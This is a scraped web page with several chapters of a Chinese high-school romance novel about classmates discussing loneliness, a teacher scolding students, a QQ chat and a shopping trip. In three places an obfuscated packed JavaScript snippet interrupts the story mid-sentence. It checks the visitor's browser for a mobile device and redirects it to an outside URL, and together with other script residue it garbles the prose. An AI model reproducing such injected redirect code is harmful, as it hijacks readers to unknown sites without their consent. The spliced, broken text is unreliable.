写到最后,还差二百字,老师说了文章的最后,需要深华主题。 她灵机一动,写道: 我不觉得孤独,因为我的祖国有五千年的历史,有五十六个民族,有九百六十万平方公里,有浩如烟海的名著典籍,地域辽阔经济发达风景优美,还有无数好吃的…… 说实话,当时写完这一段,林黛蜜激动得心砰砰砰直跳,那个民族自豪感啊,犹如一团火在她胸腔熊熊燃烧,噼里啪啦的。 当时她就想手里的笔要是能变成刺刀就好了,就跟串烧烤一样,她的刺刀上面,最少能串五个鬼子。 可是看到成绩不及格那一刻,心里那团火被无情浇灭了,冻成了冰渣子,冰溜子,冰块子,她的心顿时拔凉拔凉的。 孟源听罢,笑得止不住捶腿,说话上气不接下气,“你……你是我的姐,蜜姐……你真是我唯一的姐。” 再看看其他两位,大抵是课堂和老师限制了他们的嘲笑。 陈喻犀利点评:“黛蜜不知愁滋味,为凑作文强爱国。” “陈喻,你会作诗哎,这个凑字用得好,我写作文就是在凑字数,”林黛蜜竖起大拇指,借用妈妈夸自己的话术,“你是世界第一棒。” 孟一格:“……” 你舅宠他叭! 突然被夸,陈某人嘴角上扬了下,面上却故作严肃,夸我也没有用,我才不会和你谈恋爱。 也好,她的糗事能带给陈喻片刻的欢笑,值了,想到这里,林黛蜜自己也跟着笑起来。 11. 11 孟一格笑完之后说,“你这孩子,也太实诚了,就算你这么想,你也不能这么写呀。” 林黛蜜:“那你是怎么写的?” “宝贝,你应该问我,我是怎么想的。” “怎么想不就这么写吗。” 孟一格摇头,“除了你这种濒危的人类品种,其他人,面对自己的日记都说谎,更何况那可是要交给老师的作文。” 林黛蜜似懂非懂点头,“哦,那你是怎么想的?” 孟一格的情绪弱下来,“我觉得孤独是,在这个世界上,喜欢微分碎盖短发,夹克,黑色冲锋衣的女生太少了,少到显得我是个异类。” 她还是没说实话,因为她觉得孤独是,她的父母早早就离开,现在,她只有姥姥一个家人。 林黛蜜刚想开口,却被孟源抢了先,“我说说我的。” 一向嘻嘻哈哈没个正形的孟源突然严肃起来,“我的孤独是,我妈永远不明白我的内心世界,我做任何事情,她都觉得我在胡闹。” “你内心啥世界?”孟一格无情吐槽,“海底世界?动物世界?” 林黛蜜说:“她不明白,你可以带她进去看看啊!” “怎么看?” 林黛蜜:“带她吃你喜欢的东西,和她一起去你想去的地方,一起玩你喜欢的游戏,抱抱她,说妈妈我爱你。” “肉麻死了,我才不说。”孟源撇嘴,“不过……谢了啊。” 说完,三个人的目光齐刷刷落在陈喻脸上,就剩下他没说了。 陈喻:“看我干嘛?我又不孤独。” 这当然又是假话。 不提许久以前的孤独,不提那些辽阔的孤独。 最近的一次,是那天小吃摊前遇到林黛蜜,其实那一天,他没走,他随便进了一家文具店,透过玻璃门,看着林黛蜜和陆知珩肩并肩回去,然后他从文具店出来,不远不近跟在他们后面。 周围的人,要么两人,要么三人,要么是家长和孩子,只有他是一个人,那条过道上,明明挤满了人,那一刻,他觉得,人群,街道,霓虹灯,食物的香气,鸣笛的喇叭,都变成了海水,只为淹死自己这条孤独的鱼。 “别装了,这四个人里,你最孤独。”说着,孟源顺手拿起陈喻的大作朗读起来,“沃兹基硕德曾经说过,孤独是一味良药。 “啧啧啧,看看我喻哥,一开头就是一句名人名言,直接闪瞎我的狗眼。”孟源两根手指拍着陈喻的答题纸,赞不绝口。 孟一格:“厉害啊陈喻,啥时候偷偷背的名人名言。” 陈喻得意道:“想学啊,本儿和笔拿出来,免费送你们几句。” 林黛蜜弯唇一笑。 孟一格:“糖糖你笑什么?” “你们没听出来吗?所谓沃兹基硕德,就是我自己说的。” “呕!”孟源故作呕吐状,“我收回刚才夸你的话,你快说说你对孤独的理解。” “哥就没孤独过,怎么理解?” “怎么,不知道从哪里说起?”孟源的眼珠子转了转,“那就从一年前的游泳赛说起吧!” “闭嘴!” 陈喻感到血涌上脸,像是被人踩住了敏感的尾巴。 毫不客气的两个字,林黛蜜吓得一抖。 只见陈喻脸色倏然一沉,冷冰冰吐出两个字,孟源意识到玩过了,蜷回自己的座位,装模作样看书。 见状,孟一格非常有眼色,她拉着林黛蜜转身,免得被误伤。 没过多久,讨论的声音渐渐停了,崔铭依旧笑得温和,“想必大家已经对孤独有了了解,老师想告诉你们,孤独看似是个凄惨的词,但其实,高质量的孤独是饱满的。” 崔铭说,他的孤独是饱满的,可明明,他站在讲台上,干条条像一阵瘦风。 在他心里,应该有千千万万个人吧,不同时代,不同国家,不同种族。 林黛蜜有一种错觉,是那些人,给他底气,支撑他站在那里。 以一种不卑不亢的姿态。 “言归正传,接下来请杨雅茹同学上台读一下自己的优秀范文,大家为她鼓掌。” 杨雅茹的桌上摊开着两篇作文,答题卡上那篇字迹工整,段落简明,结构严谨,每一个字都紧扣题目要求,像是被精心修剪过的盆景。 再看另一篇。 是她写在草稿纸上的,涂涂改改,又是黑坨坨,又是画叉,字迹如狂草飞舞,可那上面写着的,是她的灵魂,是她从心底涌出来的泉水,带着泥沙,但是清澈又自由。 她的手指在两张纸之间轻轻摩挲,心跳如擂鼓,她知道,老师想听的,是那篇名言名句堆砌成的华美篇章,但她想读的,是那篇拿着手电筒在被窝里写下的,关于孤独的散文。 “杨雅茹?有什么问题吗?”崔铭的声音从教室后方传来。 杨雅茹朝后面看了一眼,脑海中响起林黛蜜的话。 “下次,记得要忠于自己。” 她深吸一口气,攥着那篇散文上了台,有人低头翻书,有人托腮看着她。 她的喉咙有些发紧,手心微微出汗,她知道,这篇散文不合时宜,老师会不会觉得她态度不够端正。 不管了,占用晚自习读一篇喜欢的散文而已,天塌不下来。 杨雅茹的手指在纸上轻轻捏了捏,纸面微微凹陷,她说,“同学们,今天我想读一篇自己写的散文,占用大家的时间,我先说声抱歉。” 她的声音有些颤抖,但落下时,却清晰又坚定,她看到老师微微抬了抬眉毛,似乎有些意外,但是并没有打断她。 她低下头,开始朗读。起初,声音有些轻,像是怕惊扰到什么,但随着喜爱的文字在她双唇缓缓流出,她的声音逐渐变得有力,像是找到了某种支撑。 她读道。 “树叶那么多,树为什么依旧感到孤独。” “星星那么多,夜空为什么依旧感到孤独。” “世界上,人那么多,我们为什么依旧感到孤独。” “我一直一直在思考这个问题,直到我看到,贾宝玉一个人走入白茫茫大雪中,我才稍稍明白,树叶很多但没有两片是一样的,星星满天,但它们不能触碰彼此。” “而人类的孤独是自找的,我们明明拥有那么多,五花八门的职业,书本,宗教,理念,信仰,主义,苦难……” “可我们在有限的时间里,频繁地误解彼此,渴望消灭彼此。” “我们孤独,因为我们不光隐瞒自己杀人的事情,还隐瞒我喜欢你的事情,幸运的话,前者会被警察找出来,可是后者,大多数会被埋进土堆里。” “所以,我们终将永远孤独。” 教室里安静极了,只有她的声音在空中回荡,读到动情处,她微微哽咽,读完之后,她停顿了两秒,而后,教室里响起了掌声。 从热烈到更热烈。 那一天,在林黛蜜还未曾感受到孤独的年纪,却率先被一篇同龄人的散文,预判了孤独。 回家之后,林黛蜜的脑海中一直回放着杨雅茹站在台上读散文的画面,她在想,为什么世界有如此大的参差。 于是,她回家之后,问了父亲,母亲,还打电话问了外公外婆,原来,大家都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她从书包夹层摸出创口贴,撕开包装,指尖在他的皮肤上停留了一瞬,“好了。” 见状,张雨倩眼中的嫉妒险些跑出来,陈喻说得没错,她就是故意的。当初,张雨倩鼓起勇气向陈喻表白,结果陈喻的原话是。 “医生说,我是精致的利己主义者,只喜欢自己,不会喜欢别人,和我这样的人在一起,会想自杀。” 可现在呢,来了个漂亮傻子就被迷成那样,张雨倩可能不了解陈喻,但她不瞎,喜欢一个人的眼神是藏不住的。 林黛蜜想起了正事儿:“对了陈喻,我不是欠你一件衬衫吗?我打算周末去买,你喜欢什么颜色还有你穿多大码?” “黑白灰都可以,XL码。” “好。” 转过去之前,林黛蜜不忘叮嘱,“还有,你上课要是不舒服了,一定要告诉我。” 陈喻垂眼,看了看手上的创可贴,有必要这么大惊小怪吗?难道这就是关心则乱?她的关心也太细致了,就……还,让人蛮有压力的。 不远处,靠在后墙的表兄妹两个,露出同款凝重的表情。 孟源挠挠头皮,“我丢了一段记忆吗?他们俩什么时候谈上了?” 孟一格是断然不接受这个事实的,但两人的动作又叫人不得不多想,“这不对啊,陈喻是不是给我的糖糖下蛊了?” “我看他俩是互相下蛊了吧。” 孟一格啧啧两声,摸着下巴说,“不排除这个可能。” 12. 12 教师办公室。 胡波站在办公桌前,手里攥着一本卷起来的书,死死盯着站在对面的王树晨,两只眼睛喷出来的火,足以烧光方圆百里。 王树晨,成绩不高不低,在班里有自己的浮动区间,外号王大包,是“王树晨大显眼包”的简体。 他这个人比较抽象,一般来讲,高中的男生都有些拘谨或者高冷(简单来说就是死装),但他很豁得出去,全然不知丢人为何物,脸皮厚得像从老树上扒下来的皮。 著名的事件有,有一次课间下雨了,老师说不用出去跑步,他偏不听,一把扯掉校服外套,冲进大雨中,说是让雨洗涤他的灵魂。 最后呢。 灵魂也洗涤了,感冒也喜提了。 只要一下雨,他的光辉事迹也被附中的人旧事重提了。 老师们对他的评价呈两极分化,英语老师那种幽默派认为,他“很特别”,但在稍显古板的胡波眼中,他是一个脑子有包的“问题学生。” 眼见胡副校长骂人语录又双叒叕要更新,斜对面的徐晓婕放下手里的试卷,默默拿出了小本本,第一页写着“如何优雅骂人积累本儿。” 好吧!她承认,教书她是新手,骂人她也是新手,谁家第一年当老师就被分到了高二啊,为了对得起学生,她每天晚上备课到凌晨一点啊,当初考大学时都没这么用功。 这就是当初不好好学习的报应吗。在骂人这方面,如果胡波是天赋型选手,那么徐晓婕就是藏在被窝里的背梗型选手。 骂人这门学问吧,你不得不学,要知道,她教的可是物理啊,物理不及格的一大堆,她不学点骂人的词儿,苦日子怎么过得下去。 没办法,天赋不行那就努力吧。 让人欣慰的是,胡波这次依旧没让她失望。 “王大包,敢问你把这玩意儿染成白的干嘛?要羽化成仙啊?” “你上天之后担当啥职位啊?给神仙解闷逗趣儿?” “玉皇大帝是不是给你托梦,说天上缺个脑子鼓包的神仙,所以召唤你上去?” 王树晨讪讪一笑:“波波你又幽默了不是,这不是白的,这叫奶奶灰,时尚,好看。” “我呸!” “你咋不染成太奶奶灰呢?”胡波压抑着怒火,“开学我是不是警告了,染头发是要扣班分的,你哪只驴耳朵听进去了?” 王树晨瘪嘴,“其他班也有染的。” 胡波气得差点跳起来窜出屋顶,“别的班考高分你怎么没看见?长眼睛就不能学点好的?你看看人家陈喻这几天上课时,睡觉睡得多乖?” 说曹操曹操就到,陈喻敲了两下门,闪耀登场,他走到胡波跟前,面无表情地问:“老师,有没有作业什么的要发下去?” 胡波觉得他莫名其妙,挥挥手,不耐烦地打发人,“没什么要发的,回去上课。” 陈喻却不依不饶,站在原地不走,“不行,您再想想,肯定有什么东西要发,作业、试卷、通知什么的,随便给我点什么发下去!” 我的老天爷啊! 刚还夸这小子上课睡觉乖,结果就整这死出,胡波阴阳怪气地说,“要不你一脚把我踩扁发下去?” 王树晨捂嘴在一旁偷笑,胡波一记眼刀飘过去。 “我认真的,”陈喻绕着胡波办公桌走了一圈,“欸老师,我帮您把这一摞黄书皮的书发下去吧。” “退,狗爪子拿开!” 胡波咬牙切齿,“那是老子一本一本抽出来的数学一轮教材答案,你发下去干嘛,显着你长手了?” 陈喻尴尬得摸摸鼻子。 几个很秀的操作下来,两人彻彻底底激怒了胡波,哼!下雨天打孩子,打一个是打,打一双也是打。 胡波开始稳定输出,“我说陈喻,你脑子是不是有病?你在这个学校也呆不了几天了,咱们就不能静若死人吗?为什么偏偏要作妖呢?你想气死我,然后取代一中副校长的位置吗?” 陈喻:“波波,你别生气,我没那么过分,我怎么会抢走你最在乎的东西呢?” 王树晨也搭腔:“就是波波,别气别气,人这一生最最痛苦的事儿,就是头一天提拔成正校长了,第二天人没了。” 办公室门外,林黛蜜听到胡波说那样的话,终究没忍住,她敲门进去,深吸一口气,壮着胆子开口。 “老师,我觉得您刚才批评陈喻时,不应该使用脑子有病,死人这样的字眼。” 胡波:“?” 三个人才齐聚一堂。 胡波脑瓜子嗡嗡的,为了来上课,今天他亲弟弟孩子的满月酒他都没去喝,他今天实在应该请假的,他甚至怀疑,自己上辈子背叛了国家,否则这辈子怎么会当了老师。 林黛蜜鼓起勇气,语言尽量委婉,“陈喻他……脑袋确实不太好,他也会死,但是我觉得这样直接说出来,他会很伤心,正常情况下,我们难道不应该照顾迁就他吗?” 陈喻脑瓜子也开始响,她不是喜欢我吗?为什么说我脑子不好?这又是什么新的追人手段?他真的蛮好奇的,但有人还没说完。 “还有,我觉得您应该使用文明用语。”林黛蜜接着说道。 天知道开学第一天,当胡波说出“□□闭上”这四个字时,林黛蜜有多么震惊,上课前吵闹的行为确实很不尊重老师,大声训斥让学生闭嘴是毋庸置疑的,虽说话糙理不糙,可是,那话也太糙了点。 这个建议一出,办公室所有人直愣愣看向林黛蜜,站在她前面的两个男生,表情默契地表达了同一个意思。 牛逼! 牛逼!我蜜姐。 胡波笑了,他这次没生气,他真的没生气,真的真的没有生气,只是脑海中莫名其妙闪过一个物理问题。 他肩膀一耸,又笑了,扭头问坐在斜对面的徐晓婕,“徐老师,你知道光是什么吗?” 徐晓婕愣了一瞬,有一种上课走神被老师抓住的心虚,她差点从座位上站起来,还好她及时想起,自己也是老师。 “那个光……光是一种电磁波,由一种称为光子的基本粒子组成,光可以在真空、空气、水等透明的介质中传播,光的分类……” 她回答完,胡波摇了摇头,脸皱成苦瓜似的模样,声似咆哮,“小徐,你说得不对,光是什么,光到底是什么?” 林黛蜜觉得徐老师没说错啊,课本上就那么写的,她看向胡波,一脸的虚心求教:“对啊老师?您觉得光到底是什么?” “光是,光是活着就很累了。” 呜呜呜!哭死。 这dog太阳的日子什么时候是个头啊,祖国的奇花异草怎么都叫他胡波遇上了。 简直是造化弄人啊! 崩溃完之后,胡波看向奇花异草中的一朵,“林黛蜜同学,你刚才说的问题我知道了,还有什么指示吗?” “没有了。” 林黛蜜摇摇头,说完这三个字,她连忙走开了,哦不对,是跑开了几步,躲在了陈喻后面,因为她觉得胡波那样有一点点地吓人。 女孩儿的一系列动作落入陈喻眼中,他低头,拳头抵着鼻尖,笑得肩膀直颤。 好吧,他承认陆知珩眼睛没瞎,是有那么点可爱,现在陈喻能想象到林黛蜜写林虫虫三个字时的样子了。 胡波一看到王树晨那一头白发就来气,他下了死命令,“明天晚自习,我要见到黑头发的你,否则我就送你去见你太奶奶。” “别啊波波,我染头发已经把钱花完了。” “你……”胡波气得扬起巴掌。 巴掌落在王树晨后脑勺之前,林黛蜜连忙开口,“我有校外发廊的会员卡,可以借给你。” 陈喻侧头,不可置信地问道:“你什么时候办的卡?” 不会是他造的孽吧。 果然。 林呆瓜两眼放光望着他,甜甜地说:“就是我们第一次见面那一天呀。” 陈喻嘴角抽搐了两下。 呵呵,就是我们第一次见面那一天呀!就是他造的孽呀。 “你办了那个三百块钱的卡?” 林黛蜜骄傲地扬起笑脸,伸出一个巴掌,“不对,我办的是五百块钱的,比三百的划算得多。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958194|193227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 陈喻:“……真不错。” “是吧,我也觉得不错。” 那天的情况是这样的,陈喻特意找了个没什么人的时间,没什么人的理发店进去,因为他真的很不想,在校外碰到认识但是不熟的人。 尤其是那些一个学期都没有说过三句话的同班同学,你和人家打招呼吧,人家不一定理你,尤其他陈喻还拥有如此优秀的外表,你主动和别人说话微笑吧,一定会被误会你在散发魅力,或者被误会对人家有意思。 那你要是不打招呼吧,人家就会说你臭拽,尤其他陈喻还拥有如此优秀的外表,私下里会被说成,他就是脸好看,没人情味儿。 还好,那天真的没遇到一个熟人,直到快剪完头发时,林黛蜜进来了。 理发师让办卡,他随口扯了个借口,理发师果然闭嘴了,离开之前,他发现,林黛蜜还盯着他看个不停。 陈喻当时的想法是,顶着一张漂亮脸蛋犯花痴,可惜了,他不吃那一套。 剪完头发之后,他起身往外走,正准备推门离开理发店,突然心生一计,于是折返回去,建议理发师,让他给林黛蜜推荐办卡。 只对视了一眼,陈喻就断定,她那双漂亮的眼中写着两个字。 好骗! 结果不光被骗了。 还被忽悠着办了个最贵的。 这边的事情解决完,林黛蜜走向坐在角落办公桌的崔铭,“老师,我可以请教您一个问题吗?” 这才是她来办公室的目的。 “当然可以。” “您那天说,每个人生来孤独,那如果我说,我从来不觉得孤独,您会相信吗?” 这个问题,林黛蜜想了一天一夜了,依旧没想通,但她是那种一道数学题做不出来就浑身难受的性格,别人都回答不了,根据她的观察,崔铭是她认识的人中书籍阅读量最大的,问他应该可以。 崔铭点点头:“我当然相信,因为世界之大,无奇不有,七十几亿人中肯定有不孤独的人。” 他停顿了两秒,继续道。 “不过,我更倾向于另一种可能性,那就是你还年轻,腿脚利索,孤独还没有追上你。” 不愧是文化人,解释得如此通俗幽默,林黛蜜继续追问:“那大概多少岁会被孤独追上。” “这个嘛,因人而异,有的人从出生那一刻就被追上,也有人是十几岁,也有人是三十几岁,总之你记住,那是一瞬间的事情。” 林黛蜜似懂非懂点头,“老师,那你是什么时候被追上的。” 崔铭十指交叉,身子轻轻后仰,靠在椅背上,嘴角扬起不易察觉的微笑,准确地说,是苦涩的笑。 “大概是从我读懂《红楼梦》的时候吧,那时候我和你差不多大,以为它只是个爱情故事。” 说来惭愧,四大名著中,林黛蜜只看过电视剧版的《西游记》,更别说《红楼梦》里面,那些复杂的人物就足够把她哄睡着了。 崔铭哼了两句调子,很随意,几乎是轻音,不是普通话,林黛蜜一个字都听不懂,但很好听。 她没忍住问,“老师,您唱的是什么?” 崔铭说:“是越剧《红楼梦》” 林黛蜜:“老师,我应该去读一读对吗?” “不用读。”崔铭猛得直起身子,目光凌厉起来,警告似的说:“知道几个重要人物就行,应付高考够够的了。” 林黛蜜:“我明白了,您的意思是,这样伟大的名著应该等高考完慢慢品读。” 崔铭嘴角噙着笑,“孩子,你没有明白,我的意思是。” “高考完也不读。” 林黛蜜确定自己没有听错。 崔铭说:“因为太悲苦了。” 等你被孤独追上的时候,再去读也不迟,见惯了世间悲怆之后,读起来,更能接受现实的不堪。 这句话,崔铭没有告诉眼前的女生,她的眼中,写满了幸福、勇敢、正直、坦荡、努力。 这太过于珍贵。 不管是作为大人,还是作为老师,都有责任守护这份珍贵。 13. 13 放学回家后,林黛蜜把书包一扔,冲进书房抱住林韵的脖子撒娇:“妈妈~”没错,她要做的第一件事就是把手机赎回来。 林韵嫌弃地挣脱开,拉开身侧的抽屉,拿出手机放在女儿手心,嗔怪道,“让手机给你当妈得了。” “那怎么可以,”林黛蜜吧唧亲一口林韵的侧脸,“你是最好的妈妈,给我一座金山我都不换。” “不对,一亿座金山都不换。” “你呀,小嘴就会哄我开心。”林韵捏了捏女儿软软的脸蛋,“去玩吧,妈妈再查些资料。” “好哒!” 林黛蜜蹦蹦跳跳跑出门,差点和站在门口的陆知珩撞上,“哥,你也来领手机吗?” “我才没你那么肤浅。”说完,他朝屋里忙碌的身影看了一眼,板着脸走开了。 嘿!什么道理嘛! 喜欢玩手机就肤浅了? 那这世界上不肤浅的才有几个。 我肤浅我快乐。 捏着手机回到房间,林黛蜜把自己陷进柔软的大床里,输入密码打开手机的一瞬间。 弹出来好多东西。 企鹅号上提示,有人要加她。 对方的名字叫做,CY。 林黛蜜疑惑地皱着眉,点了同意,对面几乎是秒回。 CY:【你终于肯同意了。】 糖:【我刚才才拿到手机。】 CY:【什么意思?】 意思就是呢,按照林韵的规定,在考上大学之前,她和陆知珩每周只能玩一天手机。 说到这事儿,还真是林黛蜜对不起自己亲哥,两人的手机是上高一前一起买的,当时的最新款,是给他们考上高中的奖励。 本来,两人对手机是有完全自主权的,直到高一下学期,林韵带着两个孩子去医院做视力检查。 一查,轰隆隆,天塌了。 林黛蜜的视力涨了一百多度,从原来的二百度涨到五百度,取得了质的飞跃。 作为她的对照组,陆知珩非但没变,还降了不少,后来,在几番“威逼利诱”之下,林黛蜜说了实话。 半夜趴在被窝里看手机看的。 谁让她那段时间迷恋上了科幻小说呢?那白天又不敢拿去学校,只好关了灯偷偷看。就因为这事儿,林黛蜜签了“丧权辱国”的手机使用条约,还连累了陆知珩这个无辜的平头老百姓。 对此,陆知珩倒也没多大反应,一个字都没说她,想来他本就对手机里的东西也不咋感兴趣吧。 陆知珩没有了手机,就像鱼没有了自行车;林黛蜜没有了手机,那简直就是鱼离开了水啊。 该她提问了,林黛蜜可一点都不傻,她的反诈意识不是一般的强,有人平白无故加她,这背后一定有事儿,她得套一套对方的话。 糖:【我觉得你可能是骗子,说说吧,你是怎么拿到我的Q,Q号的?是不是从哪里高价购入的啊?】 CY:【……】 糖:【被我猜中了?我告诉你,你骗不到我的,我可精了,还有我妈妈是律师,小心她把你送进去,没个三五年都出不来。】 CY:【……】 糖:【你这个人怎么老发省略号?】 CY:【……你要不再看看我名字的拼音缩写,就不能想起点什么?】 糖:【池鱼,吃鱼,抽烟,苍蝇,茶叶,春雨,草原,我暂时只能想到这些。】 CY:【……能不能往人那方面想一想呢?】 糖:【妈呀,你是那个陈毅还是那个成毅?】 CY:【你!能不能!想几个!和自己一个时空一个世界的人?】 糖:【比如呢?】 CY:【比如陈喻。】 说实话,陈喻加她□□只是因为,他突然很想写作业。 林黛蜜有个典型的好学生习惯,她会把每天的作业整理在一个巴掌大的小本上。 陈喻看到过一次,记得条理清晰,一目了然。 - 孟一格站在镜子前,仔细整理着自己的短发,发丝有些硬,总是倔强地翘起几根,她用沾了水的手指轻轻压了压,手一抬起来,头发还是照样翘。 她叹了口气,套上那件深棕色的皮夹克,拉链拉到顶端,里面的白体恤只露出一圈白边,这是她最喜欢的打扮,干净利落。 不久前,林黛蜜邀请她逛街,收拾好之后,孟一格率先到了商业街,她站在街角,双手插在夹克口袋里,低头踢着脚边的小石子。过了几分钟,眼前出现一个戴黑色口罩的人。 “美女,我能亲你一口吗?” “啊,变态离我远点!”孟一格猛然后退一大步。 直到,眼前的人缓缓摘下口罩。 “糖糖?”孟一格愣在原地,“你怎么这副打扮?” 眼前的林黛蜜,棒球帽加黑色墨镜,宽松的纯黑T恤,脖子上挂一条银白项链,军绿色工装牛仔裤,脚踩一双白色板鞋。 简直酷毙了! 孟一格再次意识到,林黛蜜这人吧,有一种不自知的喜感在身上,你永远不知道她下一句话是什么,也永远想不到她的一些非常规举动。 林黛蜜摘下口罩,张开双臂,原地转了个圈,抬头笑嘻嘻地问:“怎么样?帅不帅?像不像你?” 像不像你? 意识到她在干什么,孟一格的喉咙像是被什么堵住了,眼眶有些发热。 林黛蜜说:“虽然我改变不了别人的看法,但我可以陪你啊。” 林黛蜜这人好讨厌,明明神经那么大条,第一次见面连她是男是女都看不出来,却愿意和她站在一起,穿同样的衣服,做同样的事情。 如果没有记错,关于这件事情,孟一格只在作文课上说过一次,她说那是让她感到孤独的事情,没想到林黛蜜记在了心里,今天还特意约她出来。 在林黛蜜转来之前,因为孟一格的打扮,很多女生都不怎么靠近她,怕被说成性取向不正常,她不懂,什么时候穿衣打扮和性取向挂钩了。 她还经常被亲戚问,为啥出门不化妆?为啥不穿裙子?年纪轻轻怎么穿的这么朴素宽松,为啥不去掉脸上的雀斑。 为什么为什么,因为喜欢呗! 因为穿得中性让她更舒服,她讨厌因为穿了裙子而被凝视的那种感觉,女装确实很好看,但是不自在,限制行为,还不如大短袖大短裤方便,想坐路边随时随地都可以。 这些想法,林黛蜜或许不懂,她不如别人巧舌如簧,说不出多么让人感动的话,她选 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“教科书上说,社会主义核心价值观的个人层面是什么?爱国敬业诚信友善。” “你完全符合。” 林黛蜜点头:“那说明,我是个大大的良民喽。” 孟一格看着她,犹豫片刻说:“林黛蜜,我要告诉你一件事儿。” “什么?” “关于我的孤独。”孟一格转过脸,“我骗了你,其实,我觉得孤独是因为,我的父母都不在了。” 林黛蜜一下子梗住,她觉得周围的空气都不流动了。 不在了! 没多少时间了。 林黛蜜这才发现,极度悲伤的字眼,往往都是轻飘飘的,落在人心里,却有千万斤重。 她心疼孟一格,一把将人揽在怀里,紧紧抱住,“我想当你的家人,要不,我当你的姐姐吧。” 孟一格看着女孩清澈的瞳孔,笑了,“好啊,姐姐,你买冰淇淋给我吃吧。” 她心里想的却是,傻瓜林糖糖,还是我当你的姐姐吧,因为你太傻了。 14. 14 逛完街回来,天边的晚霞被彻底染成橘色,两人踩着斑驳的树影,手牵手,慢悠悠往回走。 转过街角,走到林黛蜜家小区附近,两人同时看到了陈喻。 以及他手里牵着的金毛。 “那不是陈喻吗?”孟一格用手肘碰了碰林黛蜜,“他怎么在这儿?” 这问题林黛蜜回答不了,她垫了下脚尖,朝他招手,“陈喻!这里。” 陈喻走过来,金毛欢快地摇着尾巴,在他脚边转来转去。 林黛蜜没忍住,摸了摸金毛的头,然后问,“你怎么在这儿?” “遛狗。”陈喻简单回答道,他的注意力,始终放在林黛蜜的打扮上。 林黛蜜:“哦,那挺巧的。” 孟一格翻了个白眼,林黛蜜怎么别人说什么都信啊,谁家好人跨区遛狗? “不对吧陈喻,我记得你家在华锦区那边,怎么跑这么远遛狗?”她打算拆穿陈喻,好帮助林黛蜜看清这个狡诈的人。 陈喻看一眼蹲下来逗狗的林黛蜜,慢悠悠解释道,“你有所不知啊,我们家大花呢,在这里有个朋友,它每周末都要来找它的朋友,我也没办法。” 林黛蜜忙着逗狗:“它叫大花啊,好可爱的名字。” 林黛蜜很喜欢小动物,她的梦想是养两只狗,那样的话,就算家里没人,它们互相还有个伴,可林韵对动物毛发过敏,她只好作罢。 “对了,这是赔给你的,既然碰到了就给你。”林黛蜜站起来,把手里的袋子递过去。 陈喻接过来,打开看了一眼,随即合上,看他的表情还算满意,林黛蜜挽起孟一格的手准备离开,“那我们就回去了。” 看着女孩澄澈的眼睛,陈喻准备说出口的“再见”变成了,“一起吃饭?” 这话问出来,最先感到意外的,是陈喻自己,因为他出来之前已经吃过了,为什么会说出这句话,他自己也不知道,但既然说出去了就没有收回的道理。 眼看能宰一顿,孟一格立刻来了精神,“好啊,逛完街正好饿了。” 怕三个人吃尴尬,她还特意叫来了气氛组孟源,要知道,虽然她和陈喻早在小学认识了,但实际上,他们一点都不熟。 她觉得陈喻这个人吧,“有点装”,至少在她看来是那样的,有一个典型的例子。 高一有一次月考,陈喻比陆知珩多考了三分,成为了全校第一名,那个时候,两人在一个班级,他们的班主任就对陈喻说,这个成绩一定要保持住,希望他下次也是第一,同时也鼓励陆知珩下次把第一争回来。 那么,正常人的反应应该是,谦虚一笑,然后说“谢谢老师,我会努力的。”陆知珩就是这个反应,他是正常人,但陈喻对他们的班主任说。 “不要设想我下次得第一,我对第一不感兴趣,我也不会为了当你口中所谓的全校第一努力,简单来说,就是不要在我身上投注任何期望。” 你听听,这是人话吗?他的这一番说辞,无疑打了班主任和陆知珩两个人的脸,好在陆知珩是个很好的人,他并不计较这些,依旧勤勉努力,一直坐在年级第一的宝座上,反观陈喻,直接从重点班堕落到了平行班,还是最差的平行班。 还是老话说得好,谦虚使人进步,傲慢使人退步。 本来这事儿也没什么,和她也没关系,但现在孟一格打算将这些过往讲给林黛蜜,如果一定要选一个人谈恋爱的话,陆知珩不知道比陈喻好多少。 林黛蜜看不出这其中的暗流涌动,但作为旁观者的孟一格,她可得帮着把把关。 林黛蜜对这一带熟悉,她自然而然当起了东道主:“附近有一家烧烤不错,我给你们带路。” 那家烧烤店叫做“来一串”,在这一带很受欢迎,每天晚上六点开张之后,从他们家飘出来的香气会窜到整条街,混着啤酒的麦芽香气,在夏夜闷热的空气中久久不散。 五分钟后,几人来到了烧烤摊位,孟一格和孟源手里端着挑菜的不锈钢托盘,已经排在了长长的炸串的队伍中。 林黛蜜和陈喻穿梭在其中,垫着脚尖张望,意图发现能容纳三个人的座位,他们来回转了两圈。 一无所获。 红色的塑料凳子从店内一直摆到人行道上,橙黄色的灯泡挂在遮阳棚下,被油烟熏得发黄,不时有人碰到支撑遮阳棚的杆子,那灯泡便跟着微微晃动几秒。 没有能坐三个人的桌子,林黛蜜征求陈喻的意见,“你很饿吗?要不咱们分开坐?” 陈喻:“我不想分开坐。” 林黛蜜无奈摊了摊手:“那就只能等了,今天来的这个点儿实在不巧,如果不想排队,就应该早一点或者晚一点来的。” 刚才还没还感觉到有多饿,等来到烧烤摊位跟前,看着其他客人盘子里的烤串,闻着孜然混着炭火的香气,林黛蜜肚子饿的咕咕叫。 声音不大,但陈喻听清楚了,他笑了下,突然开口问,“如果来得早,你一般喜欢坐在什么地方。” 